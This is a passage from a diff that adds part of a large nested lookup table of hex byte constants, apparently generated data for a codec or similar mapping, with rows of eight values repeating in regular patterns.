+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x00, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x01, 0x12, 0x13, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x12, 0x13, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x09, 0x02, 0x13, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x09, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x1b, 0x0c, 0x1d, 0x0e, 0x07},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x10, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x0e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x11, 0x12, 0x0b, 0x0c, 0x1d, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x12, 0x0b, 0x0c, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x0b, 0x14, 0x15, 0x1e, 0x0f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f},
+            {0x08, 0x19, 0x02, 0x03, 0x14, 0x15, 0x1e, 0x1f}
+        },
+        {
+            {0x10, 0x11, 0x1a, 0x1b, 0x0c, 0x1d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x0c, 0x1d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x0c, 0x1d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x0c, 0x1d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x0c, 0x1d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x0c, 0x1d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x0c, 0x1d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x0c, 0x1d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x0c, 0x1d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x1b, 0x0c, 0x1d, 0x06, 0x07},
+            {0x10, 0x11, 0x1a, 0x0b, 0x0c, 0x1d, 0x06, 0x0f},
+            {0x10, 0x11, 0x1a, 0x0b, 0x0c, 0x1d, 0x06, 0x0f},
+            {0x10, 0x11, 0x1a, 0x0b, 0x0c, 0x1d, 0x06, 0x0f},
+            {0x10, 0x11, 0x1a, 0x0b, 0x0c, 0x1d, 0x06, 0x0f},
+            {0x08, 0x11, 0x1a, 0x0b, 0x0c, 0x1d, 0x16, 0x0f},
+            {0x08, 0x11, 0x1a, 0x0b, 0x0c, 0x1d, 0x16, 0x0f},
+            {0x08, 0x11, 0x1a, 0x0b, 0x0c, 0x1d, 0x16, 0x0f},
+            {0x08, 0x11, 0x1a, 0x0b, 0x0c, 0x1d, 0x16, 0x0f},
+            {0x08, 0x19, 0x1a, 0x0b, 0x0c, 0x15, 0x16, 0x0f},
+            {0x08, 0x19, 0x1a, 0x0b, 0x0c, 0x15, 0x16, 0x0f},
+            {0x08, 0x19, 0x1a, 0x0b, 0x0c, 0x15, 0x16, 0x0f},
+            {0x08, 0x19, 0x1a, 0x0b, 0x0c, 0x15, 0x16, 0x0f},
+            {0x08, 0x19, 0x0a, 0x0b, 0x14, 0x15, 0x16, 0x0f},
+            {0x08, 0x19, 0x0a, 0x0b, 0x14, 0x15, 0x16, 0x0f},
+            {0x08, 0x19, 0x0a, 0x0b, 0x14, 0x15, 0x16, 0x0f},
+            {0x08, 0x19, 0x0a, 0x0b, 0x14, 0x15, 0x16, 0x0f},
+            {0x08, 0x19, 0x0a, 0x03, 0x14, 0x15, 0x16, 0x1f},
